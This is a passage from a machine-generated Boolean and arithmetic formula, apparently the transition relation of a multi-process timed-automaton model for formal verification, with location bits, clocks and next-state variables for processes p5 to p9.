!_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) || (( !_x_p9_l3) && (_x_p9_l2 && (( !_x_p9_l0) && ( !_x_p9_l1))))))) || ( !((( !p9_l3) && (( !p9_l2) && (p9_l0 && p9_l1))) && ((delta == 0.0) && p9_evt))))) && ((v2 && (p9_c == _x_p9_c)) || ( !(((delta == 0.0) && p9_evt) && ((( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) && (( !p9_l3) && (( !p9_l2) && (p9_l0 && p9_l1)))))))) && ((( !v2) && (_x_p9_c == 0.0)) || ( !(((delta == 0.0) && p9_evt) && ((( !p9_l3) && (( !p9_l2) && (p9_l0 && p9_l1))) && (( !_x_p9_l3) && (_x_p9_l2 && (( !_x_p9_l0) && ( !_x_p9_l1))))))))) && ((((v1 == _x_v1) && (proposed9 == _x_proposed9)) && ((_x_p9_c == 0.0) && (_x_v2 && (( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l0 && ( !_x_p9_l1))))))) || ( !((( !p9_l3) && (p9_l2 && (( !p9_l0) && ( !p9_l1)))) && ((delta == 0.0) && p9_evt))))) && (((proposed9 == _x_proposed9) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p9_c == _x_p9_c) && ((( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) || (( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l1 && ( !_x_p9_l0)))))))) || ( !((( !p9_l3) && (p9_l2 && (p9_l0 && ( !p9_l1)))) && ((delta == 0.0) && p9_evt))))) && (( !(v1 == 10)) || ( !(((delta == 0.0) && p9_evt) && ((( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1)))) && (( !p9_l3) && (p9_l2 && (p9_l0 && ( !p9_l1))))))))) && ((v1 == 10) || ( !(((delta == 0.0) && p9_evt) && ((( !p9_l3) && (p9_l2 && (p9_l0 && ( !p9_l1)))) && (( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l1 && ( !_x_p9_l0))))))))) && (((proposed9 == _x_proposed9) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p9_l3) && (_x_p9_l2 && (_x_p9_l0 && _x_p9_l1))) && (_x_p9_c == 0.0)))) || ( !((( !p9_l3) && (p9_l2 && (p9_l1 && ( !p9_l0)))) && ((delta == 0.0) && p9_evt))))) && (((proposed9 == _x_proposed9) && ((( !_x_v2) && (_x_p9_l3 && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1))))) && ((v1 == _x_v1) && (_x_p9_c == 0.0)))) || ( !((( !p9_l3) && (p9_l2 && (p9_l0 && p9_l1))) && ((delta == 0.0) && p9_evt))))) && (((proposed9 == _x_proposed9) && (((_x_v1 == 0) && (( !_x_p9_l3) && (( !_x_p9_l2) && (( !_x_p9_l0) && ( !_x_p9_l1))))) && ((v2 == _x_v2) && (p9_c == _x_p9_c)))) || ( !((p9_l3 && (( !p9_l2) && (( !p9_l0) && ( !p9_l1)))) && ((delta == 0.0) && p9_evt))))) && ((((((((((((((((((((_x_p8_l3 && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) || ((( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l0 && _x_p8_l1))) || ((( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l1 && ( !_x_p8_l0)))) || ((( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l0 && ( !_x_p8_l1)))) || ((( !_x_p8_l3) && (_x_p8_l2 && (( !_x_p8_l0) && ( !_x_p8_l1)))) || ((( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l0 && _x_p8_l1))) || ((( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l1 && ( !_x_p8_l0)))) || ((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) || (( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l0 && ( !_x_p8_l1)))))))))))) && ((_x_p8_c <= _x_proposed8) || ( !(((( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l0 && ( !_x_p8_l1)))) || (( !_x_p8_l3) && (_x_p8_l2 && (( !_x_p8_l0) && ( !_x_p8_l1))))) || ((( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l0 && _x_p8_l1))) || (_x_p8_l3 && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1))))))))) && (((((((p8_l0 == _x_p8_l0) && (p8_l1 == _x_p8_l1)) && (p8_l2 == _x_p8_l2)) && (p8_l3 == _x_p8_l3)) && ((delta + (p8_c + (-1.0 * _x_p8_c))) == 0.0)) && (proposed8 == _x_proposed8)) || ( !(( !(delta <= 0.0)) || ( !p8_evt))))) && (((((v1 == 0) && (( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l0 && ( !_x_p8_l1))))) && ((v2 == _x_v2) && (_x_p8_c == 0.0))) && ((v1 == _x_v1) && (proposed8 == _x_proposed8))) || ( !((( !p8_l3) && (( !p8_l2) && (( !p8_l0) && ( !p8_l1)))) && ((delta == 0.0) && p8_evt))))) && (((proposed8 == _x_proposed8) && (((v2 == _x_v2) && (_x_p8_c == 0.0)) && ((( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l1 && ( !_x_p8_l0)))) && (_x_v1 == 9)))) || ( !((( !p8_l3) && (( !p8_l2) && (p8_l0 && ( !p8_l1)))) && ((delta == 0.0) && p8_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) || (( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l0 && _x_p8_l1)))) && (p8_c == _x_p8_c))) || ( !((( !p8_l3) && (( !p8_l2) && (p8_l1 && ( !p8_l0)))) && ((delta == 0.0) && p8_evt))))) && (((proposed8 == _x_proposed8) && ( !(v1 == 9))) || ( !(((delta == 0.0) && p8_evt) && ((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) && (( !p8_l3) && (( !p8_l2) && (p8_l1 && ( !p8_l0))))))))) && ((((v1 == 9) && ( !(p8_c <= max_prop))) && ( !(proposed8 <= _x_proposed8))) || ( !(((delta == 0.0) && p8_evt) && ((( !p8_l3) && (( !p8_l2) && (p8_l1 && ( !p8_l0)))) && (( !_x_p8_l3) && (( !_x_p8_l2) && (_x_p8_l0 && _x_p8_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed8 == _x_proposed8) && ((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) || (( !_x_p8_l3) && (_x_p8_l2 && (( !_x_p8_l0) && ( !_x_p8_l1))))))) || ( !((( !p8_l3) && (( !p8_l2) && (p8_l0 && p8_l1))) && ((delta == 0.0) && p8_evt))))) && ((v2 && (p8_c == _x_p8_c)) || ( !(((delta == 0.0) && p8_evt) && ((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) && (( !p8_l3) && (( !p8_l2) && (p8_l0 && p8_l1)))))))) && ((( !v2) && (_x_p8_c == 0.0)) || ( !(((delta == 0.0) && p8_evt) && ((( !p8_l3) && (( !p8_l2) && (p8_l0 && p8_l1))) && (( !_x_p8_l3) && (_x_p8_l2 && (( !_x_p8_l0) && ( !_x_p8_l1))))))))) && ((((v1 == _x_v1) && (proposed8 == _x_proposed8)) && ((_x_p8_c == 0.0) && (_x_v2 && (( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l0 && ( !_x_p8_l1))))))) || ( !((( !p8_l3) && (p8_l2 && (( !p8_l0) && ( !p8_l1)))) && ((delta == 0.0) && p8_evt))))) && (((proposed8 == _x_proposed8) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p8_c == _x_p8_c) && ((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) || (( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l1 && ( !_x_p8_l0)))))))) || ( !((( !p8_l3) && (p8_l2 && (p8_l0 && ( !p8_l1)))) && ((delta == 0.0) && p8_evt))))) && (( !(v1 == 9)) || ( !(((delta == 0.0) && p8_evt) && ((( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1)))) && (( !p8_l3) && (p8_l2 && (p8_l0 && ( !p8_l1))))))))) && ((v1 == 9) || ( !(((delta == 0.0) && p8_evt) && ((( !p8_l3) && (p8_l2 && (p8_l0 && ( !p8_l1)))) && (( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l1 && ( !_x_p8_l0))))))))) && (((proposed8 == _x_proposed8) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p8_l3) && (_x_p8_l2 && (_x_p8_l0 && _x_p8_l1))) && (_x_p8_c == 0.0)))) || ( !((( !p8_l3) && (p8_l2 && (p8_l1 && ( !p8_l0)))) && ((delta == 0.0) && p8_evt))))) && (((proposed8 == _x_proposed8) && ((( !_x_v2) && (_x_p8_l3 && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1))))) && ((v1 == _x_v1) && (_x_p8_c == 0.0)))) || ( !((( !p8_l3) && (p8_l2 && (p8_l0 && p8_l1))) && ((delta == 0.0) && p8_evt))))) && (((proposed8 == _x_proposed8) && (((_x_v1 == 0) && (( !_x_p8_l3) && (( !_x_p8_l2) && (( !_x_p8_l0) && ( !_x_p8_l1))))) && ((v2 == _x_v2) && (p8_c == _x_p8_c)))) || ( !((p8_l3 && (( !p8_l2) && (( !p8_l0) && ( !p8_l1)))) && ((delta == 0.0) && p8_evt))))) && ((((((((((((((((((((_x_p7_l3 && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || ((( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && _x_p7_l1))) || ((( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l1 && ( !_x_p7_l0)))) || ((( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && ( !_x_p7_l1)))) || ((( !_x_p7_l3) && (_x_p7_l2 && (( !_x_p7_l0) && ( !_x_p7_l1)))) || ((( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && _x_p7_l1))) || ((( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l1 && ( !_x_p7_l0)))) || ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && ( !_x_p7_l1)))))))))))) && ((_x_p7_c <= _x_proposed7) || ( !(((( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (_x_p7_l2 && (( !_x_p7_l0) && ( !_x_p7_l1))))) || ((( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && _x_p7_l1))) || (_x_p7_l3 && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1))))))))) && (((((((p7_l0 == _x_p7_l0) && (p7_l1 == _x_p7_l1)) && (p7_l2 == _x_p7_l2)) && (p7_l3 == _x_p7_l3)) && ((delta + (p7_c + (-1.0 * _x_p7_c))) == 0.0)) && (proposed7 == _x_proposed7)) || ( !(( !(delta <= 0.0)) || ( !p7_evt))))) && (((((v1 == 0) && (( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && ( !_x_p7_l1))))) && ((v2 == _x_v2) && (_x_p7_c == 0.0))) && ((v1 == _x_v1) && (proposed7 == _x_proposed7))) || ( !((( !p7_l3) && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && (((proposed7 == _x_proposed7) && (((v2 == _x_v2) && (_x_p7_c == 0.0)) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l1 && ( !_x_p7_l0)))) && (_x_v1 == 8)))) || ( !((( !p7_l3) && (( !p7_l2) && (p7_l0 && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && _x_p7_l1)))) && (p7_c == _x_p7_c))) || ( !((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) && ((delta == 0.0) && p7_evt))))) && (((proposed7 == _x_proposed7) && ( !(v1 == 8))) || ( !(((delta == 0.0) && p7_evt) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) && (( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0))))))))) && ((((v1 == 8) && ( !(p7_c <= max_prop))) && ( !(proposed7 <= _x_proposed7))) || ( !(((delta == 0.0) && p7_evt) && ((( !p7_l3) && (( !p7_l2) && (p7_l1 && ( !p7_l0)))) && (( !_x_p7_l3) && (( !_x_p7_l2) && (_x_p7_l0 && _x_p7_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed7 == _x_proposed7) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (_x_p7_l2 && (( !_x_p7_l0) && ( !_x_p7_l1))))))) || ( !((( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1))) && ((delta == 0.0) && p7_evt))))) && ((v2 && (p7_c == _x_p7_c)) || ( !(((delta == 0.0) && p7_evt) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) && (( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1)))))))) && ((( !v2) && (_x_p7_c == 0.0)) || ( !(((delta == 0.0) && p7_evt) && ((( !p7_l3) && (( !p7_l2) && (p7_l0 && p7_l1))) && (( !_x_p7_l3) && (_x_p7_l2 && (( !_x_p7_l0) && ( !_x_p7_l1))))))))) && ((((v1 == _x_v1) && (proposed7 == _x_proposed7)) && ((_x_p7_c == 0.0) && (_x_v2 && (( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && ( !_x_p7_l1))))))) || ( !((( !p7_l3) && (p7_l2 && (( !p7_l0) && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && (((proposed7 == _x_proposed7) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p7_c == _x_p7_c) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) || (( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l1 && ( !_x_p7_l0)))))))) || ( !((( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && (( !(v1 == 8)) || ( !(((delta == 0.0) && p7_evt) && ((( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1)))) && (( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1))))))))) && ((v1 == 8) || ( !(((delta == 0.0) && p7_evt) && ((( !p7_l3) && (p7_l2 && (p7_l0 && ( !p7_l1)))) && (( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l1 && ( !_x_p7_l0))))))))) && (((proposed7 == _x_proposed7) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p7_l3) && (_x_p7_l2 && (_x_p7_l0 && _x_p7_l1))) && (_x_p7_c == 0.0)))) || ( !((( !p7_l3) && (p7_l2 && (p7_l1 && ( !p7_l0)))) && ((delta == 0.0) && p7_evt))))) && (((proposed7 == _x_proposed7) && ((( !_x_v2) && (_x_p7_l3 && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1))))) && ((v1 == _x_v1) && (_x_p7_c == 0.0)))) || ( !((( !p7_l3) && (p7_l2 && (p7_l0 && p7_l1))) && ((delta == 0.0) && p7_evt))))) && (((proposed7 == _x_proposed7) && (((_x_v1 == 0) && (( !_x_p7_l3) && (( !_x_p7_l2) && (( !_x_p7_l0) && ( !_x_p7_l1))))) && ((v2 == _x_v2) && (p7_c == _x_p7_c)))) || ( !((p7_l3 && (( !p7_l2) && (( !p7_l0) && ( !p7_l1)))) && ((delta == 0.0) && p7_evt))))) && ((((((((((((((((((((_x_p6_l3 && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && _x_p6_l1))) || ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l1 && ( !_x_p6_l0)))) || ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && ( !_x_p6_l1)))) || ((( !_x_p6_l3) && (_x_p6_l2 && (( !_x_p6_l0) && ( !_x_p6_l1)))) || ((( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l0 && _x_p6_l1))) || ((( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l1 && ( !_x_p6_l0)))) || ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || (( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l0 && ( !_x_p6_l1)))))))))))) && ((_x_p6_c <= _x_proposed6) || ( !(((( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l0 && ( !_x_p6_l1)))) || (( !_x_p6_l3) && (_x_p6_l2 && (( !_x_p6_l0) && ( !_x_p6_l1))))) || ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && _x_p6_l1))) || (_x_p6_l3 && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1))))))))) && (((((((p6_l0 == _x_p6_l0) && (p6_l1 == _x_p6_l1)) && (p6_l2 == _x_p6_l2)) && (p6_l3 == _x_p6_l3)) && ((delta + (p6_c + (-1.0 * _x_p6_c))) == 0.0)) && (proposed6 == _x_proposed6)) || ( !(( !(delta <= 0.0)) || ( !p6_evt))))) && (((((v1 == 0) && (( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l0 && ( !_x_p6_l1))))) && ((v2 == _x_v2) && (_x_p6_c == 0.0))) && ((v1 == _x_v1) && (proposed6 == _x_proposed6))) || ( !((( !p6_l3) && (( !p6_l2) && (( !p6_l0) && ( !p6_l1)))) && ((delta == 0.0) && p6_evt))))) && (((proposed6 == _x_proposed6) && (((v2 == _x_v2) && (_x_p6_c == 0.0)) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l1 && ( !_x_p6_l0)))) && (_x_v1 == 7)))) || ( !((( !p6_l3) && (( !p6_l2) && (p6_l0 && ( !p6_l1)))) && ((delta == 0.0) && p6_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || (( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l0 && _x_p6_l1)))) && (p6_c == _x_p6_c))) || ( !((( !p6_l3) && (( !p6_l2) && (p6_l1 && ( !p6_l0)))) && ((delta == 0.0) && p6_evt))))) && (((proposed6 == _x_proposed6) && ( !(v1 == 7))) || ( !(((delta == 0.0) && p6_evt) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) && (( !p6_l3) && (( !p6_l2) && (p6_l1 && ( !p6_l0))))))))) && ((((v1 == 7) && ( !(p6_c <= max_prop))) && ( !(proposed6 <= _x_proposed6))) || ( !(((delta == 0.0) && p6_evt) && ((( !p6_l3) && (( !p6_l2) && (p6_l1 && ( !p6_l0)))) && (( !_x_p6_l3) && (( !_x_p6_l2) && (_x_p6_l0 && _x_p6_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed6 == _x_proposed6) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || (( !_x_p6_l3) && (_x_p6_l2 && (( !_x_p6_l0) && ( !_x_p6_l1))))))) || ( !((( !p6_l3) && (( !p6_l2) && (p6_l0 && p6_l1))) && ((delta == 0.0) && p6_evt))))) && ((v2 && (p6_c == _x_p6_c)) || ( !(((delta == 0.0) && p6_evt) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) && (( !p6_l3) && (( !p6_l2) && (p6_l0 && p6_l1)))))))) && ((( !v2) && (_x_p6_c == 0.0)) || ( !(((delta == 0.0) && p6_evt) && ((( !p6_l3) && (( !p6_l2) && (p6_l0 && p6_l1))) && (( !_x_p6_l3) && (_x_p6_l2 && (( !_x_p6_l0) && ( !_x_p6_l1))))))))) && ((((v1 == _x_v1) && (proposed6 == _x_proposed6)) && ((_x_p6_c == 0.0) && (_x_v2 && (( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && ( !_x_p6_l1))))))) || ( !((( !p6_l3) && (p6_l2 && (( !p6_l0) && ( !p6_l1)))) && ((delta == 0.0) && p6_evt))))) && (((proposed6 == _x_proposed6) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p6_c == _x_p6_c) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) || (( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l1 && ( !_x_p6_l0)))))))) || ( !((( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1)))) && ((delta == 0.0) && p6_evt))))) && (( !(v1 == 7)) || ( !(((delta == 0.0) && p6_evt) && ((( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1)))) && (( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1))))))))) && ((v1 == 7) || ( !(((delta == 0.0) && p6_evt) && ((( !p6_l3) && (p6_l2 && (p6_l0 && ( !p6_l1)))) && (( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l1 && ( !_x_p6_l0))))))))) && (((proposed6 == _x_proposed6) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p6_l3) && (_x_p6_l2 && (_x_p6_l0 && _x_p6_l1))) && (_x_p6_c == 0.0)))) || ( !((( !p6_l3) && (p6_l2 && (p6_l1 && ( !p6_l0)))) && ((delta == 0.0) && p6_evt))))) && (((proposed6 == _x_proposed6) && ((( !_x_v2) && (_x_p6_l3 && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1))))) && ((v1 == _x_v1) && (_x_p6_c == 0.0)))) || ( !((( !p6_l3) && (p6_l2 && (p6_l0 && p6_l1))) && ((delta == 0.0) && p6_evt))))) && (((proposed6 == _x_proposed6) && (((_x_v1 == 0) && (( !_x_p6_l3) && (( !_x_p6_l2) && (( !_x_p6_l0) && ( !_x_p6_l1))))) && ((v2 == _x_v2) && (p6_c == _x_p6_c)))) || ( !((p6_l3 && (( !p6_l2) && (( !p6_l0) && ( !p6_l1)))) && ((delta == 0.0) && p6_evt))))) && ((((((((((((((((((((_x_p5_l3 && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) || ((( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l0 && _x_p5_l1))) || ((( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l1 && ( !_x_p5_l0)))) || ((( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l0 && ( !_x_p5_l1)))) || ((( !_x_p5_l3) && (_x_p5_l2 && (( !_x_p5_l0) && ( !_x_p5_l1)))) || ((( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l0 && _x_p5_l1))) || ((( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l1 && ( !_x_p5_l0)))) || ((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) || (( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l0 && ( !_x_p5_l1)))))))))))) && ((_x_p5_c <= _x_proposed5) || ( !(((( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l0 && ( !_x_p5_l1)))) || (( !_x_p5_l3) && (_x_p5_l2 && (( !_x_p5_l0) && ( !_x_p5_l1))))) || ((( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l0 && _x_p5_l1))) || (_x_p5_l3 && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1))))))))) && (((((((p5_l0 == _x_p5_l0) && (p5_l1 == _x_p5_l1)) && (p5_l2 == _x_p5_l2)) && (p5_l3 == _x_p5_l3)) && ((delta + (p5_c + (-1.0 * _x_p5_c))) == 0.0)) && (proposed5 == _x_proposed5)) || ( !(( !(delta <= 0.0)) || ( !p5_evt))))) && (((((v1 == 0) && (( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l0 && ( !_x_p5_l1))))) && ((v2 == _x_v2) && (_x_p5_c == 0.0))) && ((v1 == _x_v1) && (proposed5 == _x_proposed5))) || ( !((( !p5_l3) && (( !p5_l2) && (( !p5_l0) && ( !p5_l1)))) && ((delta == 0.0) && p5_evt))))) && (((proposed5 == _x_proposed5) && (((v2 == _x_v2) && (_x_p5_c == 0.0)) && ((( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l1 && ( !_x_p5_l0)))) && (_x_v1 == 6)))) || ( !((( !p5_l3) && (( !p5_l2) && (p5_l0 && ( !p5_l1)))) && ((delta == 0.0) && p5_evt))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && (((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) || (( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l0 && _x_p5_l1)))) && (p5_c == _x_p5_c))) || ( !((( !p5_l3) && (( !p5_l2) && (p5_l1 && ( !p5_l0)))) && ((delta == 0.0) && p5_evt))))) && (((proposed5 == _x_proposed5) && ( !(v1 == 6))) || ( !(((delta == 0.0) && p5_evt) && ((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) && (( !p5_l3) && (( !p5_l2) && (p5_l1 && ( !p5_l0))))))))) && ((((v1 == 6) && ( !(p5_c <= max_prop))) && ( !(proposed5 <= _x_proposed5))) || ( !(((delta == 0.0) && p5_evt) && ((( !p5_l3) && (( !p5_l2) && (p5_l1 && ( !p5_l0)))) && (( !_x_p5_l3) && (( !_x_p5_l2) && (_x_p5_l0 && _x_p5_l1)))))))) && ((((v2 == _x_v2) && (v1 == _x_v1)) && ((proposed5 == _x_proposed5) && ((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) || (( !_x_p5_l3) && (_x_p5_l2 && (( !_x_p5_l0) && ( !_x_p5_l1))))))) || ( !((( !p5_l3) && (( !p5_l2) && (p5_l0 && p5_l1))) && ((delta == 0.0) && p5_evt))))) && ((v2 && (p5_c == _x_p5_c)) || ( !(((delta == 0.0) && p5_evt) && ((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) && (( !p5_l3) && (( !p5_l2) && (p5_l0 && p5_l1)))))))) && ((( !v2) && (_x_p5_c == 0.0)) || ( !(((delta == 0.0) && p5_evt) && ((( !p5_l3) && (( !p5_l2) && (p5_l0 && p5_l1))) && (( !_x_p5_l3) && (_x_p5_l2 && (( !_x_p5_l0) && ( !_x_p5_l1))))))))) && ((((v1 == _x_v1) && (proposed5 == _x_proposed5)) && ((_x_p5_c == 0.0) && (_x_v2 && (( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l0 && ( !_x_p5_l1))))))) || ( !((( !p5_l3) && (p5_l2 && (( !p5_l0) && ( !p5_l1)))) && ((delta == 0.0) && p5_evt))))) && (((proposed5 == _x_proposed5) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((p5_c == _x_p5_c) && ((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) || (( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l1 && ( !_x_p5_l0)))))))) || ( !((( !p5_l3) && (p5_l2 && (p5_l0 && ( !p5_l1)))) && ((delta == 0.0) && p5_evt))))) && (( !(v1 == 6)) || ( !(((delta == 0.0) && p5_evt) && ((( !_x_p5_l3) && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1)))) && (( !p5_l3) && (p5_l2 && (p5_l0 && ( !p5_l1))))))))) && ((v1 == 6) || ( !(((delta == 0.0) && p5_evt) && ((( !p5_l3) && (p5_l2 && (p5_l0 && ( !p5_l1)))) && (( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l1 && ( !_x_p5_l0))))))))) && (((proposed5 == _x_proposed5) && (((v2 == _x_v2) && (v1 == _x_v1)) && ((( !_x_p5_l3) && (_x_p5_l2 && (_x_p5_l0 && _x_p5_l1))) && (_x_p5_c == 0.0)))) || ( !((( !p5_l3) && (p5_l2 && (p5_l1 && ( !p5_l0)))) && ((delta == 0.0) && p5_evt))))) && (((proposed5 == _x_proposed5) && ((( !_x_v2) && (_x_p5_l3 && (( !_x_p5_l2) && (( !_x_p5_l0) && ( !_x_p5_l1))))) && ((v1 == _x_v1) && (_x_p5_c == 0.0)))) || ( !((( !p5_l3) && (p5_l2 && (p5_l0 && p5_l1))) && ((delta == 0.0) && p5_evt))))) && (((proposed5 == _x_proposed5) && (((_x_v1 